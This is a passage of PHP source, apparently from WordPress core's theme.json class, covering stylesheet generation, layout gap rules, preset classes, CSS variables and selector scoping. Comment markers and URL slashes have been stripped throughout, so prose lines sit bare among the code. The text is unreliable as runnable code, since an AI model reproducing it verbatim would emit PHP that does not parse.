$style_selectors[ $style['name'] ] = static::append_to_selector( '.is-style-' . $style['name'] . '.is-style-' . $style['name'], static::$blocks_metadata[ $block_name ]['selector'] );
}
static::$blocks_metadata[ $block_name ]['styleVariations'] = $style_selectors;
}
}
return static::$blocks_metadata;
}
*
* Given a tree, removes the keys that are not present in the schema.
*
* It is recursive and modifies the input in-place.
*
* @since 5.8.0
*
* @param array $tree Input to process.
* @param array $schema Schema to adhere to.
* @return array The modified $tree.
protected static function remove_keys_not_in_schema( $tree, $schema ) {
$tree = array_intersect_key( $tree, $schema );
foreach ( $schema as $key => $data ) {
if ( ! isset( $tree[ $key ] ) ) {
continue;
}
if ( is_array( $schema[ $key ] ) && is_array( $tree[ $key ] ) ) {
$tree[ $key ] = static::remove_keys_not_in_schema( $tree[ $key ], $schema[ $key ] );
if ( empty( $tree[ $key ] ) ) {
unset( $tree[ $key ] );
}
} elseif ( is_array( $schema[ $key ] ) && ! is_array( $tree[ $key ] ) ) {
unset( $tree[ $key ] );
}
}
return $tree;
}
*
* Returns the existing settings for each block.
*
* Example:
*
* {
* 'root': {
* 'color': {
* 'custom': true
* }
* },
* 'core/paragraph': {
* 'spacing': {
* 'customPadding': true
* }
* }
* }
*
* @since 5.8.0
*
* @return array Settings per block.
public function get_settings() {
if ( ! isset( $this->theme_json['settings'] ) ) {
return array();
} else {
return $this->theme_json['settings'];
}
}
*
* Returns the stylesheet that results of processing
* the theme.json structure this object represents.
*
* @since 5.8.0
* @since 5.9.0 Removed the `$type` parameter, added the `$types` and `$origins` parameters.
* @since 6.3.0 Add fallback layout styles for Post Template when block gap support isn't available.
*
* @param string[] $types Types of styles to load. Will load all by default. It accepts:
* - `variables`: only the CSS Custom Properties for presets & custom ones.
* - `styles`: only the styles section in theme.json.
* - `presets`: only the classes for the presets.
* @param string[] $origins A list of origins to include. By default it includes VALID_ORIGINS.
* @param array $options An array of options for now used for internal purposes only (may change without notice).
* The options currently supported are 'scope' that makes sure all style are scoped to a
* given selector, and root_selector which overwrites and forces a given selector to be
* used on the root node.
* @return string The resulting stylesheet.
public function get_stylesheet( $types = array( 'variables', 'styles', 'presets' ), $origins = null, $options = array() ) {
if ( null === $origins ) {
$origins = static::VALID_ORIGINS;
}
if ( is_string( $types ) ) {
Dispatch error and map old arguments to new ones.
_deprecated_argument( __FUNCTION__, '5.9.0' );
if ( 'block_styles' === $types ) {
$types = array( 'styles', 'presets' );
} elseif ( 'css_variables' === $types ) {
$types = array( 'variables' );
} else {
$types = array( 'variables', 'styles', 'presets' );
}
}
$blocks_metadata = static::get_blocks_metadata();
$style_nodes = static::get_style_nodes( $this->theme_json, $blocks_metadata );
$setting_nodes = static::get_setting_nodes( $this->theme_json, $blocks_metadata );
$root_style_key = array_search( static::ROOT_BLOCK_SELECTOR, array_column( $style_nodes, 'selector' ), true );
$root_settings_key = array_search( static::ROOT_BLOCK_SELECTOR, array_column( $setting_nodes, 'selector' ), true );
if ( ! empty( $options['scope'] ) ) {
foreach ( $setting_nodes as &$node ) {
$node['selector'] = static::scope_selector( $options['scope'], $node['selector'] );
}
foreach ( $style_nodes as &$node ) {
$node['selector'] = static::scope_selector( $options['scope'], $node['selector'] );
}
}
if ( ! empty( $options['root_selector'] ) ) {
if ( false !== $root_settings_key ) {
$setting_nodes[ $root_settings_key ]['selector'] = $options['root_selector'];
}
if ( false !== $root_style_key ) {
$setting_nodes[ $root_style_key ]['selector'] = $options['root_selector'];
}
}
$stylesheet = '';
if ( in_array( 'variables', $types, true ) ) {
$stylesheet .= $this->get_css_variables( $setting_nodes, $origins );
}
if ( in_array( 'styles', $types, true ) ) {
if ( false !== $root_style_key ) {
$stylesheet .= $this->get_root_layout_rules( $style_nodes[ $root_style_key ]['selector'], $style_nodes[ $root_style_key ] );
}
$stylesheet .= $this->get_block_classes( $style_nodes );
} elseif ( in_array( 'base-layout-styles', $types, true ) ) {
$root_selector = static::ROOT_BLOCK_SELECTOR;
$columns_selector = '.wp-block-columns';
$post_template_selector = '.wp-block-post-template';
if ( ! empty( $options['scope'] ) ) {
$root_selector = static::scope_selector( $options['scope'], $root_selector );
$columns_selector = static::scope_selector( $options['scope'], $columns_selector );
$post_template_selector = static::scope_selector( $options['scope'], $post_template_selector );
}
if ( ! empty( $options['root_selector'] ) ) {
$root_selector = $options['root_selector'];
}
* Base layout styles are provided as part of `styles`, so only output separately if explicitly requested.
* For backwards compatibility, the Columns block is explicitly included, to support a different default gap value.
$base_styles_nodes = array(
array(
'path' => array( 'styles' ),
'selector' => $root_selector,
),
array(
'path' => array( 'styles', 'blocks', 'core/columns' ),
'selector' => $columns_selector,
'name' => 'core/columns',
),
array(
'path' => array( 'styles', 'blocks', 'core/post-template' ),
'selector' => $post_template_selector,
'name' => 'core/post-template',
),
);
foreach ( $base_styles_nodes as $base_style_node ) {
$stylesheet .= $this->get_layout_styles( $base_style_node );
}
}
if ( in_array( 'presets', $types, true ) ) {
$stylesheet .= $this->get_preset_classes( $setting_nodes, $origins );
}
return $stylesheet;
}
*
* Processes the CSS, to apply nesting.
*
* @since 6.2.0
*
* @param string $css The CSS to process.
* @param string $selector The selector to nest.
* @return string The processed CSS.
protected function process_blocks_custom_css( $css, $selector ) {
$processed_css = '';
Split CSS nested rules.
$parts = explode( '&', $css );
foreach ( $parts as $part ) {
$is_root_css = ( ! str_contains( $part, '{' ) );
if ( $is_root_css ) {
If the part doesn't contain braces, it applies to the root level.
$processed_css .= trim( $selector ) . '{' . trim( $part ) . '}';
} else {
If the part contains braces, it's a nested CSS rule.
$part = explode( '{', str_replace( '}', '', $part ) );
if ( count( $part ) !== 2 ) {
continue;
}
$nested_selector = $part[0];
$css_value = $part[1];
$part_selector = str_starts_with( $nested_selector, ' ' )
? static::scope_selector( $selector, $nested_selector )
: static::append_to_selector( $selector, $nested_selector );
$processed_css .= $part_selector . '{' . trim( $css_value ) . '}';
}
}
return $processed_css;
}
*
* Returns the global styles custom CSS.
*
* @since 6.2.0
*
* @return string The global styles custom CSS.
public function get_custom_css() {
Add the global styles root CSS.
$stylesheet = isset( $this->theme_json['styles']['css'] ) ? $this->theme_json['styles']['css'] : '';
Add the global styles block CSS.
if ( isset( $this->theme_json['styles']['blocks'] ) ) {
foreach ( $this->theme_json['styles']['blocks'] as $name => $node ) {
$custom_block_css = isset( $this->theme_json['styles']['blocks'][ $name ]['css'] )
? $this->theme_json['styles']['blocks'][ $name ]['css']
: null;
if ( $custom_block_css ) {
$selector = static::$blocks_metadata[ $name ]['selector'];
$stylesheet .= $this->process_blocks_custom_css( $custom_block_css, $selector );
}
}
}
return $stylesheet;
}
*
* Returns the page templates of the active theme.
*
* @since 5.9.0
*
* @return array
public function get_custom_templates() {
$custom_templates = array();
if ( ! isset( $this->theme_json['customTemplates'] ) || ! is_array( $this->theme_json['customTemplates'] ) ) {
return $custom_templates;
}
foreach ( $this->theme_json['customTemplates'] as $item ) {
if ( isset( $item['name'] ) ) {
$custom_templates[ $item['name'] ] = array(
'title' => isset( $item['title'] ) ? $item['title'] : '',
'postTypes' => isset( $item['postTypes'] ) ? $item['postTypes'] : array( 'page' ),
);
}
}
return $custom_templates;
}
*
* Returns the template part data of active theme.
*
* @since 5.9.0
*
* @return array
public function get_template_parts() {
$template_parts = array();
if ( ! isset( $this->theme_json['templateParts'] ) || ! is_array( $this->theme_json['templateParts'] ) ) {
return $template_parts;
}
foreach ( $this->theme_json['templateParts'] as $item ) {
if ( isset( $item['name'] ) ) {
$template_parts[ $item['name'] ] = array(
'title' => isset( $item['title'] ) ? $item['title'] : '',
'area' => isset( $item['area'] ) ? $item['area'] : '',
);
}
}
return $template_parts;
}
*
* Converts each style section into a list of rulesets
* containing the block styles to be appended to the stylesheet.
*
* See glossary at https:developer.mozilla.org/en-US/docs/Web/CSS/Syntax
*
* For each section this creates a new ruleset such as:
*
* block-selector {
* style-property-one: value;
* }
*
* @since 5.8.0 As `get_block_styles()`.
* @since 5.9.0 Renamed from `get_block_styles()` to `get_block_classes()`
* and no longer returns preset classes.
* Removed the `$setting_nodes` parameter.
* @since 6.1.0 Moved most internal logic to `get_styles_for_block()`.
*
* @param array $style_nodes Nodes with styles.
* @return string The new stylesheet.
protected function get_block_classes( $style_nodes ) {
$block_rules = '';
foreach ( $style_nodes as $metadata ) {
if ( null === $metadata['selector'] ) {
continue;
}
$block_rules .= static::get_styles_for_block( $metadata );
}
return $block_rules;
}
*
* Gets the CSS layout rules for a particular block from theme.json layout definitions.
*
* @since 6.1.0
* @since 6.3.0 Reduced specificity for layout margin rules.
*
* @param array $block_metadata Metadata about the block to get styles for.
* @return string Layout styles for the block.
protected function get_layout_styles( $block_metadata ) {
$block_rules = '';
$block_type = null;
Skip outputting layout styles if explicitly disabled.
if ( current_theme_supports( 'disable-layout-styles' ) ) {
return $block_rules;
}
if ( isset( $block_metadata['name'] ) ) {
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block_metadata['name'] );
if ( ! block_has_support( $block_type, 'layout', false ) && ! block_has_support( $block_type, '__experimentalLayout', false ) ) {
return $block_rules;
}
}
$selector = isset( $block_metadata['selector'] ) ? $block_metadata['selector'] : '';
$has_block_gap_support = isset( $this->theme_json['settings']['spacing']['blockGap'] );
$has_fallback_gap_support = ! $has_block_gap_support; This setting isn't useful yet: it exists as a placeholder for a future explicit fallback gap styles support.
$node = _wp_array_get( $this->theme_json, $block_metadata['path'], array() );
$layout_definitions = wp_get_layout_definitions();
$layout_selector_pattern = '/^[a-zA-Z0-9\-\.\ *+>:\(\)]*$/'; Allow alphanumeric classnames, spaces, wildcard, sibling, child combinator and pseudo class selectors.
* Gap styles will only be output if the theme has block gap support, or supports a fallback gap.
* Default layout gap styles will be skipped for themes that do not explicitly opt-in to blockGap with a `true` or `false` value.
if ( $has_block_gap_support || $has_fallback_gap_support ) {
$block_gap_value = null;
Use a fallback gap value if block gap support is not available.
if ( ! $has_block_gap_support ) {
$block_gap_value = static::ROOT_BLOCK_SELECTOR === $selector ? '0.5em' : null;
if ( ! empty( $block_type ) ) {
$block_gap_value = isset( $block_type->supports['spacing']['blockGap']['__experimentalDefault'] )
? $block_type->supports['spacing']['blockGap']['__experimentalDefault']
: null;
}
} else {
$block_gap_value = static::get_property_value( $node, array( 'spacing', 'blockGap' ) );
}
Support split row / column values and concatenate to a shorthand value.
if ( is_array( $block_gap_value ) ) {
if ( isset( $block_gap_value['top'] ) && isset( $block_gap_value['left'] ) ) {
$gap_row = static::get_property_value( $node, array( 'spacing', 'blockGap', 'top' ) );
$gap_column = static::get_property_value( $node, array( 'spacing', 'blockGap', 'left' ) );
$block_gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column;
} else {
Skip outputting gap value if not all sides are provided.
$block_gap_value = null;
}
}
If the block should have custom gap, add the gap styles.
if ( null !== $block_gap_value && false !== $block_gap_value && '' !== $block_gap_value ) {
foreach ( $layout_definitions as $layout_definition_key => $layout_definition ) {
Allow outputting fallback gap styles for flex and grid layout types when block gap support isn't available.
if ( ! $has_block_gap_support && 'flex' !== $layout_definition_key && 'grid' !== $layout_definition_key ) {
continue;
}
$class_name = isset( $layout_definition['className'] ) ? $layout_definition['className'] : false;
$spacing_rules = isset( $layout_definition['spacingStyles'] ) ? $layout_definition['spacingStyles'] : array();
if (
! empty( $class_name ) &&
! empty( $spacing_rules )
) {
foreach ( $spacing_rules as $spacing_rule ) {
$declarations = array();
if (
isset( $spacing_rule['selector'] ) &&
preg_match( $layout_selector_pattern, $spacing_rule['selector'] ) &&
! empty( $spacing_rule['rules'] )
) {
Iterate over each of the styling rules and substitute non-string values such as `null` with the real `blockGap` value.
foreach ( $spacing_rule['rules'] as $css_property => $css_value ) {
$current_css_value = is_string( $css_value ) ? $css_value : $block_gap_value;
if ( static::is_safe_css_declaration( $css_property, $current_css_value ) ) {
$declarations[] = array(
'name' => $css_property,
'value' => $current_css_value,
);
}
}
if ( ! $has_block_gap_support ) {
For fallback gap styles, use lower specificity, to ensure styles do not unintentionally override theme styles.
$format = static::ROOT_BLOCK_SELECTOR === $selector ? ':where(.%2$s%3$s)' : ':where(%1$s.%2$s%3$s)';
$layout_selector = sprintf(
$format,
$selector,
$class_name,
$spacing_rule['selector']
);
} else {
$format = static::ROOT_BLOCK_SELECTOR === $selector ? ':where(%s .%s) %s' : '%s-%s%s';
$layout_selector = sprintf(
$format,
$selector,
$class_name,
$spacing_rule['selector']
);
}
$block_rules .= static::to_ruleset( $layout_selector, $declarations );
}
}
}
}
}
}
Output base styles.
if (
static::ROOT_BLOCK_SELECTOR === $selector
) {
$valid_display_modes = array( 'block', 'flex', 'grid' );
foreach ( $layout_definitions as $layout_definition ) {
$class_name = isset( $layout_definition['className'] ) ? $layout_definition['className'] : false;
$base_style_rules = isset( $layout_definition['baseStyles'] ) ? $layout_definition['baseStyles'] : array();
if (
! empty( $class_name ) &&
is_array( $base_style_rules )
) {
Output display mode. This requires special handling as `display` is not exposed in `safe_style_css_filter`.
if (
! empty( $layout_definition['displayMode'] ) &&
is_string( $layout_definition['displayMode'] ) &&
in_array( $layout_definition['displayMode'], $valid_display_modes, true )
) {
$layout_selector = sprintf(
'%s .%s',
$selector,
$class_name
);
$block_rules .= static::to_ruleset(
$layout_selector,
array(
array(
'name' => 'display',
'value' => $layout_definition['displayMode'],
),
)
);
}
foreach ( $base_style_rules as $base_style_rule ) {
$declarations = array();
if (
isset( $base_style_rule['selector'] ) &&
preg_match( $layout_selector_pattern, $base_style_rule['selector'] ) &&
! empty( $base_style_rule['rules'] )
) {
foreach ( $base_style_rule['rules'] as $css_property => $css_value ) {
if ( static::is_safe_css_declaration( $css_property, $css_value ) ) {
$declarations[] = array(
'name' => $css_property,
'value' => $css_value,
);
}
}
$layout_selector = sprintf(
'%s .%s%s',
$selector,
$class_name,
$base_style_rule['selector']
);
$block_rules .= static::to_ruleset( $layout_selector, $declarations );
}
}
}
}
}
return $block_rules;
}
*
* Creates new rulesets as classes for each preset value such as:
*
* .has-value-color {
* color: value;
* }
*
* .has-value-background-color {
* background-color: value;
* }
*
* .has-value-font-size {
* font-size: value;
* }
*
* .has-value-gradient-background {
* background: value;
* }
*
* p.has-value-gradient-background {
* background: value;
* }
*
* @since 5.9.0
*
* @param array $setting_nodes Nodes with settings.
* @param string[] $origins List of origins to process presets from.
* @return string The new stylesheet.
protected function get_preset_classes( $setting_nodes, $origins ) {
$preset_rules = '';
foreach ( $setting_nodes as $metadata ) {
if ( null === $metadata['selector'] ) {
continue;
}
$selector = $metadata['selector'];
$node = _wp_array_get( $this->theme_json, $metadata['path'], array() );
$preset_rules .= static::compute_preset_classes( $node, $selector, $origins );
}
return $preset_rules;
}
*
* Converts each styles section into a list of rulesets
* to be appended to the stylesheet.
* These rulesets contain all the css variables (custom variables and preset variables).
*
* See glossary at https:developer.mozilla.org/en-US/docs/Web/CSS/Syntax
*
* For each section this creates a new ruleset such as:
*
* block-selector {
* --wp--preset--category--slug: value;
* --wp--custom--variable: value;
* }
*
* @since 5.8.0
* @since 5.9.0 Added the `$origins` parameter.
*
* @param array $nodes Nodes with settings.
* @param string[] $origins List of origins to process.
* @return string The new stylesheet.
protected function get_css_variables( $nodes, $origins ) {
$stylesheet = '';
foreach ( $nodes as $metadata ) {
if ( null === $metadata['selector'] ) {
continue;
}
$selector = $metadata['selector'];
$node = _wp_array_get( $this->theme_json, $metadata['path'], array() );
$declarations = static::compute_preset_vars( $node, $origins );
$theme_vars_declarations = static::compute_theme_vars( $node );
foreach ( $theme_vars_declarations as $theme_vars_declaration ) {
$declarations[] = $theme_vars_declaration;
}
$stylesheet .= static::to_ruleset( $selector, $declarations );
}
return $stylesheet;
}
*
* Given a selector and a declaration list,
* creates the corresponding ruleset.
*
* @since 5.8.0
*
* @param string $selector CSS selector.
* @param array $declarations List of declarations.
* @return string The resulting CSS ruleset.
protected static function to_ruleset( $selector, $declarations ) {
if ( empty( $declarations ) ) {
return '';
}
$declaration_block = array_reduce(
$declarations,
static function ( $carry, $element ) {
return $carry .= $element['name'] . ': ' . $element['value'] . ';'; },
''
);
return $selector . '{' . $declaration_block . '}';
}
*
* Given a settings array, returns the generated rulesets
* for the preset classes.
*
* @since 5.8.0
* @since 5.9.0 Added the `$origins` parameter.
*
* @param array $settings Settings to process.
* @param string $selector Selector wrapping the classes.
* @param string[] $origins List of origins to process.
* @return string The result of processing the presets.
protected static function compute_preset_classes( $settings, $selector, $origins ) {
if ( static::ROOT_BLOCK_SELECTOR === $selector ) {
* Classes at the global level do not need any CSS prefixed,
* and we don't want to increase its specificity.
$selector = '';
}
$stylesheet = '';
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
if ( empty( $preset_metadata['classes'] ) ) {
continue;
}
$slugs = static::get_settings_slugs( $settings, $preset_metadata, $origins );
foreach ( $preset_metadata['classes'] as $class => $property ) {
foreach ( $slugs as $slug ) {
$css_var = static::replace_slug_in_string( $preset_metadata['css_vars'], $slug );
$class_name = static::replace_slug_in_string( $class, $slug );
$selector is often empty, so we can save ourselves the `append_to_selector()` call then.
$new_selector = '' === $selector ? $class_name : static::append_to_selector( $selector, $class_name );
$stylesheet .= static::to_ruleset(
$new_selector,
array(
array(
'name' => $property,
'value' => 'var(' . $css_var . ') !important',
),
)
);
}
}
}
return $stylesheet;
}
*
* Function that scopes a selector with another one. This works a bit like
* SCSS nesting except the `&` operator isn't supported.
*
* <code>
* $scope = '.a, .b .c';
* $selector = '> .x, .y';
* $merged = scope_selector( $scope, $selector );
* $merged is '.a > .x, .a .y, .b .c > .x, .b .c .y'
* </code>
*
* @since 5.9.0
*
* @param string $scope Selector to scope to.
* @param string $selector Original selector.
* @return string Scoped selector.
public static function scope_selector( $scope, $selector ) {
$scopes = explode( ',', $scope );
$selectors = explode( ',', $selector );
$selectors_scoped = array();
foreach ( $scopes as $outer ) {
foreach ( $selectors as $inner ) {
$outer = trim( $outer );
$inner = trim( $inner );
if ( ! empty( $outer ) && ! empty( $inner ) ) {
$selectors_scoped[] = $outer . ' ' . $inner;
} elseif ( empty( $outer ) ) {
$selectors_scoped[] = $inner;
} elseif ( empty( $inner ) ) {
$selectors_scoped[] = $outer;
}
}
}
$result = implode( ', ', $selectors_scoped );
return $result;
}
*
* Gets preset values keyed by slugs based on settings and metadata.
*
* <code>
* $settings = array(
* 'typography' => array(
* 'fontFamilies' => array(
* array(
* 'slug' => 'sansSerif',
* 'fontFamily' => '"Helvetica Neue", sans-serif',
* ),
* array(
* 'slug' => 'serif',
* 'colors' => 'Georgia, serif',
* )
* ),
* ),
* );
* $meta = array(
* 'path' => array( 'typography', 'fontFamilies' ),
* 'value_key' => 'fontFamily',
* );
* $values_by_slug = get_settings_values_by_slug();
* $values_by_slug === array(
* 'sans-serif' => '"Helvetica Neue", sans-serif',
* 'serif' => 'Georgia, serif',
* );
* </code>
*
* @since 5.9.0
*
* @param array $settings Settings to process.
* @param array $preset_metadata One of the PRESETS_METADATA values.
* @param string[] $origins List of origins to process.
* @return array Array of presets where each key is a slug and each value is the preset value.
protected static function get_settings_values_by_slug( $settings, $preset_metadata, $origins ) {
$preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() );
$result = array();
foreach ( $origins as $origin ) {
if ( ! isset( $preset_per_origin[ $origin ] ) ) {
continue;
}
foreach ( $preset_per_origin[ $origin ] as $preset ) {
$slug = _wp_to_kebab_case( $preset['slug'] );
$value = '';
if ( isset( $preset_metadata['value_key'], $preset[ $preset_metadata['value_key'] ] ) ) {
$value_key = $preset_metadata['value_key'];
$value = $preset[ $value_key ];
} elseif (
isset( $preset_metadata['value_func'] ) &&
is_callable( $preset_metadata['value_func'] )
) {
$value_func = $preset_metadata['value_func'];
$value = call_user_func( $value_func, $preset );
} else {
If we don't have a value, then don't add it to the result.
continue;
}
$result[ $slug ] = $value;
}
}
return $result;
}
*
* Similar to get_settings_values_by_slug, but doesn't compute the value.
*
* @since 5.9.0
*
* @param array $settings Settings to process.
* @param array $preset_metadata One of the PRESETS_METADATA values.
* @param string[] $origins List of origins to process.
* @return array Array of presets where the key and value are both the slug.
protected static function get_settings_slugs( $settings, $preset_metadata, $origins = null ) {
if ( null === $origins ) {
$origins = static::VALID_ORIGINS;
}
$preset_per_origin = _wp_array_get( $settings, $preset_metadata['path'], array() );
$result = array();
foreach ( $origins as $origin ) {
if ( ! isset( $preset_per_origin[ $origin ] ) ) {
continue;
}
foreach ( $preset_per_origin[ $origin ] as $preset ) {
$slug = _wp_to_kebab_case( $preset['slug'] );
Use the array as a set so we don't get duplicates.
$result[ $slug ] = $slug;
}
}
return $result;
}
*
* Transforms a slug into a CSS Custom Property.
*
* @since 5.9.0
*
* @param string $input String to replace.
* @param string $slug The slug value to use to generate the custom property.
* @return string The CSS Custom Property. Something along the lines of `--wp--preset--color--black`.
protected static function replace_slug_in_string( $input, $slug ) {
return strtr( $input, array( '$slug' => $slug ) );
}
*
* Given the block settings, extracts the CSS Custom Properties
* for the presets and adds them to the $declarations array
* following the format:
*
* array(
* 'name' => 'property_name',
* 'value' => 'property_value,
* )
*
* @since 5.8.0
* @since 5.9.0 Added the `$origins` parameter.
*
* @param array $settings Settings to process.
* @param string[] $origins List of origins to process.
* @return array The modified $declarations.
protected static function compute_preset_vars( $settings, $origins ) {
$declarations = array();
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
if ( empty( $preset_metadata['css_vars'] ) ) {
continue;
}
$values_by_slug = static::get_settings_values_by_slug( $settings, $preset_metadata, $origins );
foreach ( $values_by_slug as $slug => $value ) {
$declarations[] = array(
'name' => static::replace_slug_in_string( $preset_metadata['css_vars'], $slug ),
'value' => $value,
);
}
}
return $declarations;
}
*
* Given an array of settings, extracts the CSS Custom Properties
* for the custom values and adds them to the $declarations
* array following the format:
*
* array(
* 'name' => 'property_name',
* 'value' => 'property_value,
* )
*
* @since 5.8.0
*
* @param array $settings Settings to process.
* @return array The modified $declarations.
protected static function compute_theme_vars( $settings ) {
$declarations = array();
$custom_values = isset( $settings['custom'] ) ? $settings['custom'] : array();
$css_vars = static::flatten_tree( $custom_values );
foreach ( $css_vars as $key => $value ) {
$declarations[] = array(
'name' => '--wp--custom--' . $key,
'value' => $value,
);
}
return $declarations;
}
*
* Given a tree, it creates a flattened one
* by merging the keys and binding the leaf values
* to the new keys.
*
* It also transforms camelCase names into kebab-case
* and substitutes '/' by '-'.
*
* This is thought to be useful to generate
* CSS Custom Properties from a tree,
* although there's nothing in the implementation
* of this function that requires that format.
*
* For example, assuming the given prefix is '--wp'
* and the token is '--', for this input tree:
*
* {
* 'some/property': 'value',
* 'nestedProperty': {
* 'sub-property': 'value'
* }
* }
*
* it'll return this output:
*
* {
* '--wp--some-property': 'value',
* '--wp--nested-property--sub-property': 'value'
* }
*
* @since 5.8.0
*
* @param array $tree Input tree to process.
* @param string $prefix Optional. Prefix to prepend to each variable. Default empty string.
* @param string $token Optional. Token to use between levels. Default '--'.
* @return array The flattened tree.
protected static function flatten_tree( $tree, $prefix = '', $token = '--' ) {
$result = array();
foreach ( $tree as $property => $value ) {
$new_key = $prefix . str_replace(
'/',
'-',
strtolower( _wp_to_kebab_case( $property ) )
);
if ( is_array( $value ) ) {
$new_prefix = $new_key . $token;
$flattened_subtree = static::flatten_tree( $value, $new_prefix, $token );
foreach ( $flattened_subtree as $subtree_key => $subtree_value ) {
$result[ $subtree_key ] = $subtree_value;
}
} else {
$result[ $new_key ] = $value;
}
}
return $result;
}
*
* Given a styles array, it extracts the style properties
* and adds them to the $declarations array following the format:
*
* array(
* 'name' => 'property_name',
* 'value' => 'property_value,
* )
*
* @since 5.8.0
* @since 5.9.0 Added the `$settings` and `$properties` parameters.
* @since 6.1.0 Added `$theme_json`, `$selector`, and `$use_root_padding` parameters.
*
* @param array $styles Styles to process.
* @param array $settings Theme settings.
* @param array $properties Properties metadata.
* @param array $theme_json Theme JSON array.
* @param string $selector The style block selector.
* @param boolean $use_root_padding Whether to add custom properties at root level.
* @return array Returns the modified $declarations.
protected static function compute_style_properties( $styles, $settings = array(), $properties = null, $theme_json = null, $selector = null, $use_root_padding = null ) {
if ( null === $properties ) {
$properties = static::PROPERTIES_METADATA;
}
$declarations = array();
if ( empty( $styles ) ) {
return $declarations;
}
$root_variable_duplicates = array();
foreach ( $properties as $css_property => $value_path ) {
$value = static::get_property_value( $styles, $value_path, $theme_json );
if ( str_starts_with( $css_property, '--wp--style--root--' ) && ( static::ROOT_BLOCK_SELECTOR !== $selector || ! $use_root_padding ) ) {
continue;
}
* Root-level padding styles don't currently support strings with CSS shorthand values.
* This may change: https:github.com/WordPress/gutenberg/issues/40132.
if ( '--wp--style--root--padding' === $css_property && is_string( $value ) ) {
continue;
}
if ( str_starts_with( $css_property, '--wp--style--root--' ) && $use_root_padding ) {
$root_variable_duplicates[] = substr( $css_property, strlen( '--wp--style--root--' ) );
}
* Look up protected properties, keyed by value path.
* Skip protected properties that are explicitly set to `null`.
if ( is_array( $value_path ) ) {
$path_string = implode( '.', $value_path );
if (
isset( static::PROTECTED_PROPERTIES[ $path_string ] ) &&
_wp_array_get( $settings, static::PROTECTED_PROPERTIES[ $path_string ], null ) === null
) {
continue;
}
}
Skip if empty and not "0" or value represents array of longhand values.
$has_missing_value = empty( $value ) && ! is_numeric( $value );
if ( $has_missing_value || is_array( $value ) ) {
continue;
}
Calculates fluid typography rules where available.
if ( 'font-size' === $css_property ) {
* wp_get_typography_font_size_value() will check
* if fluid typography has been activated and also
* whether the incoming value can be converted to a fluid value.
* Values that already have a clamp() function will not pass the test,
* and therefore the original $value will be returned.
$value = wp_get_typography_font_size_value( array( 'size' => $value ) );
}
$declarations[] = array(
'name' => $css_property,
'value' => $value,
);
}
If a variable value is added to the root, the corresponding property should be removed.
foreach ( $root_variable_duplicates as $duplicate ) {
$discard = array_search( $duplicate, array_column( $declarations, 'name' ), true );
if ( is_numeric( $discard ) ) {
array_splice( $declarations, $discard, 1 );
}
}
return $declarations;
}
*
* Returns the style property for the given path.
*
* It also converts references to a path to the value
* stored at that location, e.g.
* { "ref": "style.color.background" } => "#fff".
*
* @since 5.8.0
* @since 5.9.0 Added support for values of array type, which are returned as is.
* @since 6.1.0 Added the `$theme_json` parameter.
* @since 6.3.0 It no longer converts the internal format "var:preset|color|secondary"
* to the standard form "--wp--preset--color--secondary".
* This is already done by the sanitize method,
* so every property will be in the standard form.
*
* @param array $styles Styles subtree.
* @param array $path Which property to process.
* @param array $theme_json Theme JSON array.
* @return string|array Style property value.
protected static function get_property_value( $styles, $path, $theme_json = null ) {
$value = _wp_array_get( $styles, $path, '' );
if ( '' === $value || null === $value ) {
No need to process the value further.
return '';
}
* This converts references to a path to the value at that path
* where the values is an array with a "ref" key, pointing to a path.
* For example: { "ref": "style.color.background" } => "#fff".
if ( is_array( $value ) && isset( $value['ref'] ) ) {
$value_path = explode( '.', $value['ref'] );
$ref_value = _wp_array_get( $theme_json, $value_path );
Only use the ref value if we find anything.
if ( ! empty( $ref_value ) && is_string( $ref_value ) ) {
$value = $ref_value;
}
if ( is_array( $ref_value ) && isset( $ref_value['ref'] ) ) {
$path_string = json_encode( $path );
$ref_value_string = json_encode( $ref_value );
_doing_it_wrong(
'get_property_value',
sprintf(
translators: 1: theme.json, 2: Value name, 3: Value path, 4: Another value name.
__( 'Your %1$s file uses a dynamic value (%2$s) for the path at %3$s. However, the value at %3$s is also a dynamic value (pointing to %4$s) and pointing to another dynamic value is not supported. Please update %3$s to point directly to %4$s.' ),
'theme.json',
$ref_value_string,
$path_string,
$ref_value['ref']
),
'6.1.0'
);
}
}
if ( is_array( $value ) ) {
return $value;
}
return $value;
}
*
* Builds metadata for the setting nodes, which returns in the form of:
*
* [
* [
* 'path' => ['path', 'to', 'some', 'node' ],
* 'selector' => 'CSS selector for some node'
* ],
* [
* 'path' => [ 'path', 'to', 'other', 'node' ],
* 'selector' => 'CSS selector for other node'
* ],
* ]
*
* @since 5.8.0
*
* @param array $theme_json The tree to extract setting nodes from.
* @param array $selectors List of selectors per block.
* @return array An array of setting nodes metadata.
protected static function get_setting_nodes( $theme_json, $selectors = array() ) {
$nodes = array();
if ( ! isset( $theme_json['settings'] ) ) {
return $nodes;
}
Top-level.
$nodes[] = array(
'path' => array( 'settings' ),
'selector' => static::ROOT_BLOCK_SELECTOR,
);
Calculate paths for blocks.
if ( ! isset( $theme_json['settings']['blocks'] ) ) {
return $nodes;
}
foreach ( $theme_json['settings']['blocks'] as $name => $node ) {
$selector = null;
if ( isset( $selectors[ $name ]['selector'] ) ) {
$selector = $selectors[ $name ]['selector'];
}
$nodes[] = array(
'path' => array( 'settings', 'blocks', $name ),
'selector' => $selector,
);
}
return $nodes;
}
*
* Builds metadata for the style nodes, which returns in the form of:
*
* [
* [
* 'path' => [ 'path', 'to', 'some', 'node' ],
* 'selector' => 'CSS selector for some node',
* 'duotone' => 'CSS selector for duotone for some node'
* ],
* [
* 'path' => ['path', 'to', 'other', 'node' ],
* 'selector' => 'CSS selector for other node',
* 'duotone' => null
* ],
* ]
*
* @since 5.8.0
*
* @param array $theme_json The tree to extract style nodes from.
* @param array $selectors List of selectors per block.
* @return array An array of style nodes metadata.
protected static function get_style_nodes( $theme_json, $selectors = array() ) {
$nodes = array();
if ( ! isset( $theme_json['styles'] ) ) {
return $nodes;
}
Top-level.
$nodes[] = array(
'path' => array( 'styles' ),
'selector' => static::ROOT_BLOCK_SELECTOR,
);
if ( isset( $theme_json['styles']['elements'] ) ) {
foreach ( self::ELEMENTS as $element => $selector ) {
if ( ! isset( $theme_json['styles']['elements'][ $element ] ) ) {
continue;
}
$nodes[] = array(
'path' => array( 'styles', 'elements', $element ),
'selector' => static::ELEMENTS[ $element ],
);
Handle any pseudo selectors for the element.
